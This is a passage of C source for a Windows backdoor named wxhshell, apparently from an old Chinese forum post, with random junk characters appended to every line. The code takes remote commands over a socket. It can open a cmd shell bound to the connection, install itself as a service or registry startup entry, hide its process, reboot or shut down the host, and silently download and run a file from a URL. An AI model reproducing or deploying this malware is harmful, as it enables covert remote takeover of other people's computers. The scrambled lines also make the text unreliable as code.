  :< X&y  
  // 帮助 w]1Ltq*g/  
  case '?': { S+2we  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cs9o_Z~  
    break; .|UIZwW0  
  } m9Xauk$(  
  // 安装 Tg/?v3M88  
  case 'i': { VY G o;  
    if(Install()) [+;>u|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zmx[:-  
    else ` "Lk@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qv1<)&Ft<  
    break; pm` f? Py  
    } oDW)2*8yF  
  // 卸载 SJ*qgI?}T  
  case 'r': { \l-JU  
    if(Uninstall()) `?=Y^+*!-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *{<46 0`!q  
    else wDp5HZ>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \&BT#8ELG  
    break; c'md)nD2M  
    } o3C GG  
  // 显示 wxhshell 所在路径 "vvv@sYxi  
  case 'p': { <~z@G MQCf  
    char svExeFile[MAX_PATH]; 40=*Ul U-  
    strcpy(svExeFile,"\n\r"); L NS O]\  
      strcat(svExeFile,ExeFile); #V9do>Cu%  
        send(wsh,svExeFile,strlen(svExeFile),0); F,}7rhY(U^  
    break; '"C& dia  
    } W>y >  
  // 重启 Bi-x gq'z  
  case 'b': { .VXadgM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pd dumbp  
    if(Boot(REBOOT)) `}.jH1Fx/m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); adY ,Nz  
    else { <5O:jd  
    closesocket(wsh); P1_6:USBM  
    ExitThread(0); &[b(Lx|i  
    } t9~Y ?  
    break; s7?d_+O  
    } VW\xuP  
  // 关机 T3bYj|rh=  
  case 'd': { w5<&b1:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N1fPutl$a  
    if(Boot(SHUTDOWN)) \%}w7J;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sc14F Fs  
    else { W %<,GV  
    closesocket(wsh); r;~7$B)  
    ExitThread(0); NjFlV(XT}  
    } o)WzZ,\F^J  
    break; HuLvMYF  
    } ak_n  
  // 获取shell X"!tx  
  case 's': { h^v+d*R N  
    CmdShell(wsh); sjy/[.4-  
    closesocket(wsh); @HQqHO&N  
    ExitThread(0); Esdv+f}4;  
    break; _a\$uVZ  
  } \=c@  
  // 退出 )0o|u>  
  case 'x': { XyYP!<].C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K!a7Hg  
    CloseIt(wsh); {W'{A  
    break; NCp]!=uM;  
    } (j&7`9<5  
  // 离开 9]gV#uF  
  case 'q': { #X"fm1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m$`4.>J  
    closesocket(wsh); wBCBZs$H  
    WSACleanup(); g?rK&UTU  
    exit(1); Ri/D>[  
    break; 0`4Fa^o]h  
        } =zW`+++3  
  } @NYlVk2  
  } .h-k*F0Ga)  
g oZw![4l  
  // 提示信息 >p29|TFbV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]# ;u]  
} kS62]v]  
  } w""  
{!*dk V  
  return; Ask~  
} >P}6/L  
Wb#ON|.2  
// shell模块句柄 Yb348kRF  
int CmdShell(SOCKET sock) /Py`a1  
{ :M$8<03>F  
STARTUPINFO si; 3oC ^"723  
ZeroMemory(&si,sizeof(si)); <z QUa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "y-/ 9C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tffdm  
PROCESS_INFORMATION ProcessInfo; yK>s]65&  
char cmdline[]="cmd"; >mMmc!u>G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $-uMWJ)l  
  return 0; uA%cie  
} 08z?i  
`08}y*E  
// 自身启动模式 _]M :  
int StartFromService(void) 2NF#mWZ(s  
{ es1'z.UJ  
typedef struct -+n? Q;  
{ 7#sb },J{  
  DWORD ExitStatus; ^ux"<?  
  DWORD PebBaseAddress; OSkBBo]~z  
  DWORD AffinityMask; gmCB4MO  
  DWORD BasePriority; P G*FIRDb  
  ULONG UniqueProcessId; 9u1Fk'cxG,  
  ULONG InheritedFromUniqueProcessId; yHmNO*(  
}   PROCESS_BASIC_INFORMATION; `aM8L  
a;v;%rs  
PROCNTQSIP NtQueryInformationProcess; nm`}Z'&)  
 WYW@%t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9R N ge;*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KV|ywcGhT  
d[&Ah~,  
  HANDLE             hProcess; p><DA fB  
  PROCESS_BASIC_INFORMATION pbi; =UV=F/Af^  
(!koz'f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }/VSIS@Z  
  if(NULL == hInst ) return 0; m8 Ti{w(  
5wI j:s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &P(vm@*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9=G dj!L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @l?2",  
3&Fqd  
  if (!NtQueryInformationProcess) return 0; pJ_>^i=  
]Czq A c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S^ JUQx7  
  if(!hProcess) return 0; +zzS  
8_uh2`+Bvb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PF] Vt  
EK}QjY[i  
  CloseHandle(hProcess); D,SL_*r{  
?sbM=oo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KDYyLkI dr  
if(hProcess==NULL) return 0; C72btS  
P"k,[ZQ  
HMODULE hMod; 1#jvr_ ga  
char procName[255]; _R;+}1G/  
unsigned long cbNeeded; ^j g{MTa  
dMoN19F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Bx' g| u  
o88Dz}a  
  CloseHandle(hProcess); f/e2td*A  
>}B~~C;  
if(strstr(procName,"services")) return 1; // 以服务启动 z<s4-GJ)?  
v QL)I  
  return 0; // 注册表启动 #mbl4a  
} 'q*:+|"  
E']Gh  
// 主模块 )4bZ;'B5  
int StartWxhshell(LPSTR lpCmdLine) Lz;E/a}s  
{ ^g*/p[  
  SOCKET wsl; }NETiJ"6  
BOOL val=TRUE; D(gpF85t  
  int port=0; ]@7]mu:oL  
  struct sockaddr_in door;  eZ +uW0  
K7 $Vl"l  
  if(wscfg.ws_autoins) Install(); !FR1yO'd>  
U-GV^j  
port=atoi(lpCmdLine); oxL4* bqZ  
e3{L%rQE  
if(port<=0) port=wscfg.ws_port; 1@A*Jj[R%  
4r>buEU  
  WSADATA data; ?u8 vK<2h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1Qgd^o:d  
0-w^y<\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^Sz?c_<2P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sYY=MD  
  door.sin_family = AF_INET; /yj-^u\R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); . G ~,h  
  door.sin_port = htons(port); 9C)w'\u9+  
i4oBi]$T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zc57]~  
closesocket(wsl); 3a#j&]  
return 1; 9@|X~z5E  
} b3!,r\9V  
hX@.k|Yd  
  if(listen(wsl,2) == INVALID_SOCKET) { 7c Gq.U  
closesocket(wsl); &t w   
return 1; =rDIU&0Y  
} u(|k/~\  
  Wxhshell(wsl); =.Q|gZ   
  WSACleanup(); zwKm;;v8  
"RJf2~(ZX  
return 0; Q{Lsr,  
IRQ3>4hI  
} u3H2\<  
`?L-{VtM3*  
// 以NT服务方式启动 VClw!bm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dc0Ro,  
{ RU'DUf  
DWORD   status = 0; 6axm H~_  
  DWORD   specificError = 0xfffffff; C&ivjFf  
v`$9;9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WtTwY8HC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P'6(HT>F?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !S',V&Yb  
  serviceStatus.dwWin32ExitCode     = 0; #UH7z 4u  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ok;<fJ  
  serviceStatus.dwCheckPoint       = 0; (N\Zz*PLz  
  serviceStatus.dwWaitHint       = 0; ?$^qcpJCp  
hrRX=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A fctycQ-  
  if (hServiceStatusHandle==0) return; KCed!OJ+  
&p$SFH?s  
status = GetLastError(); <P3r}|K  
  if (status!=NO_ERROR) ~!!>`x  
{ HSOdqjR*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :=tPC A=  
    serviceStatus.dwCheckPoint       = 0; a4}2^K  
    serviceStatus.dwWaitHint       = 0; p=(;WnsK  
    serviceStatus.dwWin32ExitCode     = status; :[N[D#/z  
    serviceStatus.dwServiceSpecificExitCode = specificError; [y T4n.f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bMD'teJ  
    return; ^9UF Pij"  
  } HYPFe|t/  
+B@NSEy/+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S!n 9A  
  serviceStatus.dwCheckPoint       = 0; WLWE%bDP  
  serviceStatus.dwWaitHint       = 0; ?WX&,ew~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zh.fv-Ecp  
} n]@+<TA<uA  
<nj[=C4v  
// 处理NT服务事件,比如:启动、停止 v=|BqG`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OI.2CF  
{ 3HA$k[%7P  
switch(fdwControl) [#td  
{ 05MtQB   
case SERVICE_CONTROL_STOP: V|.aud=7z  
  serviceStatus.dwWin32ExitCode = 0; %Ys>PzM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #?i#q%q  
  serviceStatus.dwCheckPoint   = 0; y=\jQ6Fc  
  serviceStatus.dwWaitHint     = 0; Tc)T0dRP  
  { %f&(U/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); morI'6N  
  } | pp  @  
  return; HJ5m5':a  
case SERVICE_CONTROL_PAUSE: lq_W;L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dTaR 8i  
  break; j78xMGKO  
case SERVICE_CONTROL_CONTINUE: GD'C^\E aZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @X/S h:  
  break; l#o43xr  
case SERVICE_CONTROL_INTERROGATE: Em@h5V  
  break; K. R2)o`  
}; }FMl4 _}u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IO xj$?%l  
} KW&&AuPb}  
4W.;p"S2  
// 标准应用程序主函数 %`}CbD6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uPV,-rm[F_  
{ $_Qo  
A0rdQmrOL  
// 获取操作系统版本 Ytx+7OLe  
OsIsNt=GetOsVer(); VJCh5t*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M Zw%s(lv  
G"TPu _g  
  // 从命令行安装 _u;^w}0  
  if(strpbrk(lpCmdLine,"iI")) Install(); #fGb M!3p  
9rao&\eH  
  // 下载执行文件 _ |TE )h  
if(wscfg.ws_downexe) { n/?5[O-D]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i? AZ|Ha[  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lx?bO`=qg7  
} L238l  
54J<ZXCs  
if(!OsIsNt) { ].dTEzL9X  
// 如果时win9x,隐藏进程并且设置为注册表启动 R C (v#G  
HideProc(); q 8=u.T  
StartWxhshell(lpCmdLine); bOck^1Hky  
} /2dK*v0  
else p!aeL}g`  
  if(StartFromService()) g-p OO/|  
  // 以服务方式启动 : 1fik  
  StartServiceCtrlDispatcher(DispatchTable); t48(GKF  
else i8B%|[ nm  
  // 普通方式启动 rpEFyHorJ  
  StartWxhshell(lpCmdLine); +X*`}-3  
FYcMvY  
return 0; ZVp\ 5V*  
}
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只看该作者 1 发表于: 2006-10-10
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